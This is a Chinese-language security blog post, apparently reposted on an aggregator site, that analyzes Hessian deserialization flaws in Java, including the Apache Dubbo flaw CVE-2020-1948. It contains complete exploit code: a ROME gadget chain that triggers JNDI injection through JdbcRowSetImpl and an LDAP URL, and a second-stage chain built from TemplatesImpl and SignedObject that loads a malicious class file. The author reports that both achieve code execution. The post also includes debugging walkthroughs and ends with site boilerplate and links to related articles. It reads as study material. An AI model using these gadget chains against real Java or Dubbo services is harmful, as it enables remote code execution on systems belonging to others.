Hessian反序列化分析

这篇具有很好参考价值的文章主要介绍了Hessian反序列化分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

RPC协议

RPC全称为Remote Procedure Call Protocol(远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便
RPC协议的一次远程通信过程如下:

  • 客户端发起请求,并按照RPC协议格式填充信息
  • 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
  • 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理
  • 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回

Hessian协议

Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Python、C++......语言都进行了实现,Hessian一般在Web服务中使用,在Java里它的使用方法很简单,它定义远程对象,并通过二进制的格式进行传输。

Hessian的简单使用

环境依赖

 <dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.63</version>
</dependency>

Demo

package org.example;
import java.io.Serializable;

public class Person implements Serializable {
    public String name;
    public int age;

    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }
}
package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class Hessian_test {
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bis);
        Object o = input.readObject();
        return (T) o;
    }

    public static void main(String[] args) throws IOException {
        Person person = new Person();
        person.setName("F12");
        person.setAge(20);
        byte[] s = serialize(person);
        System.out.println((Person) deserialize(s));
    }
}

感觉就是ObjectStream的一个替换,跟原生的并没有太大差异

Hessian反序列化漏洞

package org.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_JNDI implements Serializable {
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }

    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getValue(Object obj, String name) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://localhost:1099/EXP";
        jdbcRowSet.setDataSourceName(url);


        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        //手动生成HashMap,防止提前调用hashcode()
        HashMap hashMap = makeMap(equalsBean,"1");

        byte[] s = serialize(hashMap);
        System.out.println(s);
        System.out.println((HashMap)deserialize(s));
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
}

搭个ldap恶意服务,运行代码成功弹出计算器,分析一下流程,readObject处打个断点,在readObject中计算tag的值进行一个Switch,我们这里计算出来是77也就是M
Hessian反序列化分析
跟进readMap
Hessian反序列化分析
获取到一个空的Deserializer对象,直接跟进readMap
Hessian反序列化分析
这里创建了一个Map对象,将我们的恶意序列化数据put进去,这里调用了2次readObject,因此我们会重复几次也会弹好几个计算器,重复过程结束后回到put方法,进入put触发的就是常规rome链,似乎非常的easy

Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)

环境搭建

直接偷大佬搭好的:https://github.com/Claradoll/Security_Learning
启动Dubbo之前得准备一些东西,需要安装Dubbo,选用Zookeeper作为注册中心(Registry),Apache Dubbo框架的流程如下

  1. 首先服务容器加载并运行Provider
  2. Provider在启动时向注册中心Registry注册自己提供的服务
  3. Consumer在Registry处订阅Provider提供的服务
  4. 注册中心返回服务地址给Consumer
  5. Consumer根据Registry提供的服务地址调用Provider提供的服务
  6. Consumer和Provider定时向监控中心Monitor发送一些统计数据

https://dlcdn.apache.org/zookeeper/zookeeper-3.8.4/
下载好后配置一下conf文件夹里的zoo.cfg文件,一开始不叫这个名字,改一下,添加这两个东西,data和log目录自己创建

dataDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\data
dataLogDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\log

先启动zookeeper,bin目录下启动zkServer.cmd,然后IDEA里分别启动provider和consumer,访问这样就搭建成功了,consumer相当于客户端,provider就是服务端
Hessian反序列化分析

反序列化漏洞分析

同样是JNDI注入触发rome链,攻击逻辑里面已经写好了,我们访问calc路由即可弹出计算器Hessian反序列化分析
这里分析一下Dubbo是怎么处理的,在服务端打个断点
Hessian反序列化分析
再给DecodeableRpcInvocation的decode方法打个断点,方便调试
Hessian反序列化分析
打完断点访问calc路由,进入decode方法
Hessian反序列化分析
这一段代码获取了远程接口对象的路径和类型,以及dubbo的版本等等信息,但是在最后进行了反序列化,并且这里的in输入流是Hessian2对象
Hessian反序列化分析
之后就是Hessian反序列化的流程了,为什么别的博主到这里tag变成了72,而我还是77,又一谜题,77常规的Hessian反序列化,就不往下分析了,可以去看看72的分析过程,不过大差不差
Hessian反序列化分析

Hessian二次反序列化利用链

TemplatesImpl+SignedObject二次反序列化

上面确实有个疑惑是为什么要用JNDI,而不是单纯的TemplatesImpl链,在这里得到了解答,这是由于Hessian反序列化和Java原生反序列化的区别,如果用TemplatesImpl打的话,运行会报错Hessian反序列化分析
这是因为Tempaltes的_tfactory被transient修饰符修饰了,不可进行反序列化
Hessian反序列化分析
那为什么原生的Java反序列化不会受到这个限制呢。这是因为原生反序列化过程中,假如类的readObject重写了,那就会调用它重写的逻辑,因此看看Templates类的readObject方法:
Hessian反序列化分析
这里手动new了一个TransformerFactoryImpl实例,这样就不会遇到那种问题了
那既然如此,我们该如何绕过这个限制呢?思路其实很清晰,就是找一个类,那个类里有原生的readObject,这样就可以通过它触发二次反序列化,得以RCE,这个类也有一些要求,那就是要接上我们之前的Rome链子,在调用任意get和set那里接上,那么就要求目标类的get或者set方法中有readObject方法,刚好上篇讲的二次反序列化,这里就能够用到

package com.example.dubboconsumer.consumer;

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;

public class Hessian_TemplatesImpl {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\evilref.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setValue(badAttributeValueExpException,"val",toStringBean);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

        SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);

        ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);

        HashMap hashMap = makeMap(equalsBean, equalsBean);

        byte[] payload = Hessian2_Serial(hashMap);
        Hessian2_Deserial(payload);
    }

    public static byte[] Hessian2_Serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.writeObject(o);
        hessian2Output.flushBuffer();
        return baos.toByteArray();
    }

    public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(bais);
        Object o = hessian2Input.readObject();
        return o;
    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行即可弹计算器文章来源地址https://www.toymoban.com/news/detail-848033.html

到了这里,关于Hessian反序列化分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 协议定制 + Json序列化反序列化

    1.1 结构化数据 协议是一种 “约定”,socket api的接口, 在读写数据时,都是按 “字符串” 的方式来发送接收的。如果我们要传输一些\\\"结构化的数据\\\" 怎么办呢? 结构化数据: 比如我们在QQ聊天时,并不是单纯地只发送了消息本身,是把自己的头像、昵称、发送时间、消息本身

    2024年02月09日
    浏览(46)
  • 【Linux】自定义协议+序列化+反序列化

    喜欢的点赞,收藏,关注一下把! 协议是一种 “约定”。在前面我们说过父亲和儿子约定打电话的例子,不过这是感性的认识,今天我们理性的认识一下协议。 socket api的接口, 在读写数据时,都是按 “字符串”(其实TCP是字节流,这里是为了理解) 的方式来发送接收的。如

    2024年04月08日
    浏览(46)
  • TCP定制协议,序列化和反序列化

    目录 前言 1.理解协议 2.网络版本计算器 2.1设计思路 2.2接口设计 2.3代码实现: 2.4编译测试 总结         在之前的文章中,我们说TCP是面向字节流的,但是可能对于面向字节流这个概念,其实并不理解的,今天我们要介绍的是如何理解TCP是面向字节流的,通过编码的方式,自

    2024年02月12日
    浏览(34)
  • 【Linux】应用层协议序列化和反序列化

    欢迎来到Cefler的博客😁 🕌博客主页:折纸花满衣 🏠个人专栏:题目解析 🌎推荐文章:C++【智能指针】 前言 在正式代码开始前,会有一些前提知识引入 在网络应用层中,序列化(Serialization)和反序列化(Deserialization)是将数据转换为可在网络上传输的格式,并从网络接

    2024年04月23日
    浏览(40)
  • 【网络编程】协议定制+Json序列化与反序列化

    需要云服务器等云产品来学习Linux的同学可以移步/--腾讯云--/--阿里云--/--华为云--/官网,轻量型云服务器低至112元/年,新用户首次下单享超低折扣。   目录 一、序列化与反序列化的概念 二、自定义协议设计一个网络计算器 2.1TCP协议,如何保证接收方收到了完整的报文呢?

    2024年02月06日
    浏览(56)
  • 【网络】协议的定制与Json序列化和反序列化

    我们程序员写的一个个解决我们实际问题, 满足我们日常需求的网络程序, 都是在应用层 建立链接和断开链接 基于TCP协议,我们需要知道写代码时对应的接口大概在TCP通讯的过程中属于什么样的时间点角色,在TCP协议时详谈。三次握手,四次挥手 listen状态:准备好了,可以进

    2024年02月09日
    浏览(41)
  • Protobuf协议初级详解(python使用)从安装到序列化-反序列化

    Protobuf是一种轻便高效的结构化数据存储格式,可以用于结构化数据序列化,很适合做数据存储或 RPC 数据交换格式。它可用于通讯协议、数据存储等领域的语言无关、平台无关、可扩展的序列化结构数据格式。 可以简单理解为,是一种跨语言、跨平台的数据传输格式。与j

    2024年02月04日
    浏览(43)
  • 【网络】应用层——协议定制 | 序列化和反序列化 | 初识http

    🐱作者:一只大喵咪1201 🐱专栏:《网络》 🔥格言: 你只管努力,剩下的交给时间! 在前面本喵已经带大家见识过了 scoket 网络通信的样子,现在开始深入学习网络的原理,本喵采取的策略是从顶层往底层讲解,也就是从应用层到数据链路层的顺序。 我们知道,协议就是

    2024年02月15日
    浏览(48)
  • 【Linux后端服务器开发】协议定制(序列化与反序列化)

    目录 一、应用层协议概述 二、序列化与反序列化 Protocal.h头文件 Server.h头文件 Client.h头文件 server.cpp源文件 client.cpp源文件 什么是应用层 ?我们通过编写程序解决一个个实际问题、满足我们日常需求的网络程序,都是应用层程序。 协议是一种“约定”,socket的api接口,在读

    2024年02月16日
    浏览(41)
  • 【Linux】TCP网络套接字编程+协议定制+序列化和反序列化

    悟已往之不谏,知来者之可追。抓不住的就放手,属于你的都在路上…… 1. 为了让我们的代码更规范化,所以搞出了日志等级分类,常见的日志输出等级有DEBUG NORMAL WARNING ERROR FATAL等,再配合上程序运行的时间,输出的内容等,公司中就是使用日志分类的方式来记录程序的输

    2024年02月08日
    浏览(70)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包